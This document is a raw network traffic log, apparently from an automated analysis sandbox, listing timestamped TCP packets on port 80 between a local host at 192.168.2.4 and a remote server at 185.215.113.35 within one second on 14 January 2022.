Jan 14, 2022 12:30:14.346512079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.346561909 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.346575975 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.346632004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.346715927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.346796036 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.346808910 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.346812963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.346822977 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.346937895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.347043991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.347181082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.347322941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.347420931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.347526073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.347616911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.347722054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.347811937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.347918034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.348007917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.348095894 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.348114967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.348217964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.351057053 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.363424063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.363687038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.363985062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.364106894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.364227057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.364334106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.364425898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.364521027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.364624023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.364720106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.364821911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.364918947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.365087986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.365442038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.365921021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.366086960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.366149902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.366245985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.366400957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.366528034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.366632938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.366738081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.366849899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.366951942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.367043018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.367150068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.367268085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.367420912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.367513895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.367609024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.367768049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.367852926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.367988110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.368073940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.368313074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.368535042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.368640900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.368726969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.368818045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.368933916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.369023085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.369122028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.369209051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.369292974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.369390011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.369476080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.369565010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.369649887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.369800091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.369911909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.369998932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.370084047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.370208025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.370331049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.370508909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.370620012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.370713949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.370821953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.370923996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.371016026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.371118069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.371208906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.371311903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.371402979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.371507883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.371602058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.371709108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.371794939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.371889114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.371975899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.372071028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.372155905 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.372252941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.372338057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.372448921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.372553110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.372644901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.372747898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.372844934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.372939110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.373034000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.373132944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.373231888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.373327017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.373414040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.373507977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.373595953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.373689890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.373778105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.373876095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.373956919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.374049902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.374140024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.374279022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.374452114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.374563932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.374680996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.374785900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.374878883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.374979019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.375071049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.375173092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.375267029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.375370026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.375458002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.387710094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.388194084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.388293982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.388387918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.388494015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.388582945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.388689995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.388788939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.388895988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.388984919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.389090061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.389214993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.389319897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.389422894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.389527082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.389616013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.389724970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.389816046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.389925957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.390012980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.390113115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.390229940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.390328884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.390430927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.390527010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.390615940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.390721083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.390810966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.390909910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.391005039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.391103029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.391200066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.391299009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.391391993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.391495943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.391608953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.391720057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.391812086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.391908884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.392002106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.392102003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.393429995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.393557072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.393651009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.393798113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.393840075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.393938065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.394033909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.394145012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.394401073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.394659996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.394753933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.394850016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.394942999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.395044088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.395231009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.395347118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.395464897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.395534039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.395628929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.395720005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.395812035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.395901918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.395994902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.396086931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.396190882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.396285057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.396375895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.396476984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.396569967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.396662951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.396775961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.396923065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.397017956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.397119999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.397248030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.397336960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.397433043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.397526026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.397620916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.397710085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.397808075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.397896051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.397990942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.398082018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.402326107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.402410030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.402507067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.402601004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.402707100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.402936935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.403161049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.403284073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.403378963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.403485060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.403589964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.403681993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.403784037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.403879881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.403980970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.404071093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.404176950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.404270887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.423590899 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.425422907 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.427175999 CET	49912	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.427859068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.441534042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.441690922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.441828012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.441941977 CET	49916	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.441991091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.442141056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.442270994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.442369938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.442478895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.442589045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.442681074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.442770958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.442873955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.442962885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.443063974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.443155050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.443259954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.443347931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.443449974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.443538904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.443641901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.443732023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.443834066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.443938017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.444042921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.444133043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.444247007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.444375992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.444500923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.444582939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.444679022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.444763899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.444860935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.444941998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.445036888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.445120096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.445230961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.445333958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.445436954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.445523024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.445625067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.445713043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.445815086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.445907116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.446010113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.446132898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.446311951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.446496010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.446651936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.446791887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.446902990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.447015047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.447114944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.447208881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.447309017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.447400093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.447503090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.447594881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.447693110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.447782993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.447972059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.447993994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.448070049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.448158979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.448267937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.448354959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.448457003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.448545933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.448643923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.448735952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.448833942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.448924065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.449022055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.449106932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.449256897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.449402094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.449594975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.449704885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.449804068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.449892998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.449979067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.450143099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.450232029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.450313091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.450398922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.450503111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.450591087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.450683117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.450771093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.450860023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.450952053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.454703093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.454863071 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.454951048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.455066919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.455163956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.455257893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.455344915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.455434084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.455522060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.455610037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.455701113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.455787897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.455874920 CET	49914	80	192.168.2.4	185.215.113.35
